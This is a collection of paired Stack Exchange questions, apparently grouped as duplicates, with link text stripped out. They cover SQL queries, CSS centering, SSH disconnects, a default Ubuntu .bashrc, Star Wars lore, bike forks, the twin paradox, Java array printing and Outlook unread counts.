In the , there's a  that shows:  Except that the hat-collecting arachnid actually approved it:  This  7 and a bit years ago, and was marked , but it's not.

In the 10 k tools,  is described as if I had approved it:    However, the review item itself (correctly) displays that I rejected this edit:    Going by   , this should be fixed, but it isn’t.  This could be solved by replacing approved by to reviewed by in the list or making an explicit list, who approved and rejected an edit (which is probably more complicated).


The Sith were not mentioned in the theatrical versions of the original Star Wars trilogy.  However, Darth Vader was identified as "a Dark Lord of the Sith" as he made his first appearance in the novelization (officially authored by George Lucas, but actually ghostwritten by Alan Dean Foster).  It also seems to imply that Vader's masked, mechanical appearance may not be unique to him, but may be instead be shared by all the Sith.  So who came up with the name "Sith," Lucas or Foster (or someone else)?  And what was "Sith" conceived of meaning, when they were first named, ca. 1976?

I don't remember any mention of the Sith in the original trilogy. The few expanded universe books I've read (which predate the prequel trilogy) refer to "Dark Jedi."  When were the Sith first mentioned in Star Wars canon? (Real time, not in-universe time.)


i want to get a last row based of Updated_ts on the bases of same gr_number and course  i am using below query.  select t.* from (select  st.gr_number,st.course,st.is_active_flg,st.status,st.updated_ts         ,sum(case when st.status = 'COMPLETED' then 1 else 0 end) over (partition by st.gr_number) as completedCourse,       sum(case when st.status <> 'COMPLETED' and st.status <> 'APPLICATION' and st.is_active_flg = 'N' then 1 else 0 end) over (partition by st.gr_number) as IncompletCourse       from admission_log st            join course cr on cr.course_id=st.course       order by st.gr_number,st.course,st.updated_ts      ) t where completedCourse > 0 and IncompletCourse > 0;   this query gives me result as     from above result i want only last value against the same gr_number and course based of Updated_ts  like     please help

Table:   UserId, Value, Date.   I want to get the UserId, Value for the max(Date) for each UserId. That is, the Value for each UserId that has the latest date. Is there a way to do this simply in SQL? (Preferably Oracle)  Update: Apologies for any ambiguity: I need to get ALL the UserIds. But for each UserId, only that row where that user has the latest date.


Im trying to center a (pumpkinvector.jpg) image inside a .div using this classic trick:  .pumpkin{ position: relative; top:50%; left:50%; transform: translate(-50%,-50%); }   It seems to work fine on the very bottom div where background is red. However,  that was just a test, it is not were I need the image to center.  I need to center pumpkinvector.jpg image up top in "grid2" div that inside "grid 6 october" div. October div has additional code and inner class to give background image and make it resize proportionally in height and width %. Using the same centering code above, the pumpkinvector.jpg now flows to the next line and starts to position outside of the .october div. Can someone why this is?  Please bear with me here. I thought the addition of images helps you visualize my problem so I uploaded to my own site instead of js.fiddle. Here is the link:   Please view source to view code. Thanks.  This question is different because it asks how to center div in the context that its parent div has complex markup that makes any traditional centering off and throws in on a new line below parent div.

How can I horizontally center a
 within another
 using CSS?

Foo foo


I'm looking for a "corporate speak" noun that describes both customers and partners of a given company. "Ecosystem" is the closest I've come, but I'd like more options.

We're building a feature for a website and trying to think of a hypernym for clients, partners and members so that the feature remains generic enough for re-use later on other websites.


I'm thinking of adding suspension forks to a rigid mtb. I realized that the geometry will change with the front higher and so the chain will be slanted up. Does this affect how hard and tiring is it to pedal and the steering. If I were to do it, how much travel of suspension do I need, or should I just stick to the rigid.

I have a ~1993 Giant mountain bike.  It's not great, but I am a very new and casual rider.    The bike has a solid fork and it makes for the predictable rough trail ride.  The trails are generally fairly modest (I live in North Texas, a 100' change in altitude makes our ears pop here) and the surface is generally dirt (very few rocky areas).  So, I am thinking that it would be very nice to have a suspension bike.  And seeing that a modest fork can be purchased for a modest price, I am wondering if it makes sense to add a fork to this bike.   asked about going the other direction, and there were some cautionary words about changing steering geometry.  So, on balance, is this something that I would be best off to avoid?  I suspect that if I have to replace a bunch of steering parts, the cost will quickly approach that of a new low end bike.


I recently marked a  off topic, but after 5 votes it start showing my name as closed as duplicated. Which I do not.        It should not count or at least state marked as duplicate by someone who has not actually did it.

Even though a question may be closed by receiving 5 close votes, the votes do not necessarily need to agree.  I think this is a good behavior, but  (which it was) and found the question was closed as "not a real question".  This is unfortunate, while I'm happy to display my username and acknowledge that I voted to close, I'd like some additional transparency.  That is, if it was a 4-1 vote for "not a real question" vs "exact duplicate" I'd be interested in seeing that level of information.  The point is to be transparent about why the question was closed, and though 5 users may agree the question needs to be closed they may not agree why.  It's important to recognize all the reasons for closure, not just the majority reason.  I'd suggest displaying this information as something like:     closed on Jun 21 at 4:26 as:         not a real question by foo, bar, baz   exact duplicate by alice, bob      Once a question has been closed I'd argue it's more important to understand the rationale than it is to worry about an extra 2 lines of text. If the votes are 2,1,1,1 perhaps keep just 2 bullets, the first showing the majority vote, the second saying "for other reasons" as a summary of the change.  The point is to aggregate the summary by reason.


I connect with my work PC using SSH. It was working fine until recently but now suddenly connection gets lost with error "write failed: Broken pipe " error on terminal. I saw similar question somewhere and it was suggested to add "ServerAliveInterval 120" line in ssh_config file. it doesn't work and I am facing same error again.

What can I do to configure SSH on both client and servers to prevent Write Failed: broken pipe errors? It often occurs if you sleep your client computer and resume later.


I have a wordpress database (4GB). I have two servers with the following spec:         Processor          Cores    RAM       HDD       DBMS   1.  Xeon  X5650 2.6GHz    6     64GB   250GB SSD  Mariadb 10.1   2.  Corei7 4740 3.4GHz    4     32GB   250GB SSD  Mariadb 10.1   I run a query which is a LEFT JOIN on two tables (wp_posts, wp_term_relationships) on both servers and I get surprised when I see the results. I run query with and without configuring my.cnf. If I run the query on the 1st server the execution time varies from 4.48s to 5.2s and if I run the query the execution time on the 2nd one varies from 1.8s to 3.2!! I thought Xeon Processors are much faster than the Corei ones! But with these results I think I have to use one of the Corei7 CPU family for my database server which is expected to be very busy (a lot of query). If it is, why Xeon CPUs are specially designed for servers?? I wonder to know which kind of CPU the big companies with a great database load query are using?

This is a  about  Related:      I have a question regarding capacity planning. Can the Server Fault community please help with the following:   What kind of server do I need to handle some number of users? How many users can a server with some specifications handle? Will some server configuration be fast enough for my use case? I'm building a social networking site: what kind of hardware do I need? How much bandwidth do I need for some project? How much bandwidth will some number of users use in some application?


As soon as I open my terminal I get:  $: command not found  $: command not found   Even if I close and open again I get the same.  $: command not found $: command not found   How to sort out this problem?

on opening terminal it shows on top  $: command not found $: command not found $: command not found yogesh@yogesh-WNB8PHF4710C-0030:~$   and my .bashrc file has  # ~/.bashrc: executed by bash(1) for non-login shells. # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) # for examples  # If not running interactively, don't do anything case $- in     *i*) ;;       *) return;; esac  # don't put duplicate lines or lines starting with space in the history. # See bash(1) for more options HISTCONTROL=ignoreboth  # append to the history file, don't overwrite it shopt -s histappend  # for setting history length see HISTSIZE and HISTFILESIZE in bash(1) HISTSIZE=1000 HISTFILESIZE=2000  # check the window size after each command and, if necessary, # update the values of LINES and COLUMNS. shopt -s checkwinsize  # If set, the pattern "**" used in a pathname expansion context will # match all files and zero or more directories and subdirectories. #shopt -s globstar  # make less more friendly for non-text input files, see lesspipe(1) [ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"  # set variable identifying the chroot you work in (used in the prompt below) if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then     debian_chroot=$(cat /etc/debian_chroot) fi  # set a fancy prompt (non-color, unless we know we "want" color) case "$TERM" in     xterm-color) color_prompt=yes;; esac  # uncomment for a colored prompt, if the terminal has the capability; turned # off by default to not distract the user: the focus in a terminal window # should be on the output of commands, not on the prompt #force_color_prompt=yes  if [ -n "$force_color_prompt" ]; then     if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then     # We have color support; assume it's compliant with Ecma-48     # (ISO/IEC-6429). (Lack of such support is extremely rare, and such     # a case would tend to support setf rather than setaf.)     color_prompt=yes     else     color_prompt=     fi fi  if [ "$color_prompt" = yes ]; then     PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ ' else     PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ ' fi unset color_prompt force_color_prompt  # If this is an xterm set the title to user@host:dir case "$TERM" in xterm*|rxvt*)     PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"     ;; *)     ;; esac  # enable color support of ls and also add handy aliases if [ -x /usr/bin/dircolors ]; then     test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"     alias ls='ls --color=auto'     #alias dir='dir --color=auto'     #alias vdir='vdir --color=auto'      alias grep='grep --color=auto'     alias fgrep='fgrep --color=auto'     alias egrep='egrep --color=auto' fi  # some more ls aliases alias ll='ls -alF' alias la='ls -A' alias l='ls -CF'  # Add an "alert" alias for long running commands.  Use like so: #   sleep 10; alert alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'  # Alias definitions. # You may want to put all your additions into a separate file like # ~/.bash_aliases, instead of adding them here directly. # See /usr/share/doc/bash-doc/examples in the bash-doc package.  if [ -f ~/.bash_aliases ]; then     . ~/.bash_aliases fi  # enable programmable completion features (you don't need to enable # this, if it's already enabled in /etc/bash.bashrc and /etc/profile # sources /etc/bash.bashrc). if ! shopt -oq posix; then   if [ -f /usr/share/bash-completion/bash_completion ]; then     . /usr/share/bash-completion/bash_completion   elif [ -f /etc/bash_completion ]; then     . /etc/bash_completion   fi fi


In the twins paradox, the twin that travels away from earth comes back to find that his (her) twin has aged much more due to relativity's effect on time. Why can't we posit that it is not the one twin moving away from Earth at the speed of light, but it is the entire universe, the earth and his twin included, who are accelerating and moving away at the speed of light and then coming back? In this case shouldn't be the other twin to have aged less? (and, in fact, the whole universe) What is wrong with this way of thinking?  This has NOTHING to do with the other question. I am asking what is wrong in my thought-experiment in which the whole universe accelerates away at the speed of light and then comes back. There clearly is an asymmetry here I am missing, and asking what it is. The other question is asking to clarify the twins paradox, it is not addressing the asymmetry.

I read a lot about the classical twin paradox recently. What confuses me is that some authors claim that it can be resolved within , others say that you need . Now, what is true (and why)?


I'm a gamer. I have 2 monitors. The clock's always on the game window, so I never know what time it is. Is there a way to put the clock on the task bar of the other screen too? I'm running windows 10 btw.

Is it possible to display the clock on the taskbar on each screen in Windows 8, preferably without 3rd-party tools?


I am working on a small array sort algorithm and i just dont get why my output looks similar to this:      [I@4e5a5622   when this is not close to what i expected...  public static void main(String [] args){     int[] array = {5,45,234,3};     int n = array.length;     for(int i=0; i<n; i++){         int m = n-1;         for(int j=i+1; j<n; j++){             if(array[j]<array[m]){                 m=j;             }         }     int t= array[i]; array[i] = array[m]; array[m] = t;     }     System.out.println(array.toString()); }   Thanks for helping :D

In Java, arrays don't override toString(), so if you try to print one directly, you get the className + '@' + the hex of the  of the array, as defined by Object.toString():  int[] intArray = new int[] {1, 2, 3, 4, 5}; System.out.println(intArray);     // prints something like '[I@3343c8b3'   But usually, we'd actually want something more like [1, 2, 3, 4, 5]. What's the simplest way of doing that? Here are some example inputs and outputs:  // Array of primitives: int[] intArray = new int[] {1, 2, 3, 4, 5}; //output: [1, 2, 3, 4, 5]  // Array of object references: String[] strArray = new String[] {"John", "Mary", "Bob"}; //output: [John, Mary, Bob]


In an Outlook folder, sometimes even though I marked all messages as read, the folder list shows "1", as if there's an unread message.  Note: This is Outlook connected to a corporate Exchange server.

I have an annoying problem in Outlook 2013. My inbox is flagged with "1" unread message, but this is not the case. Even when I empty my inbox folder, this bold "1" stays next to my folder, new as it contains a new message.  I've tried to "empty" it, to "clean" it, to "mark all as read" it. Nothing works.  Any tips?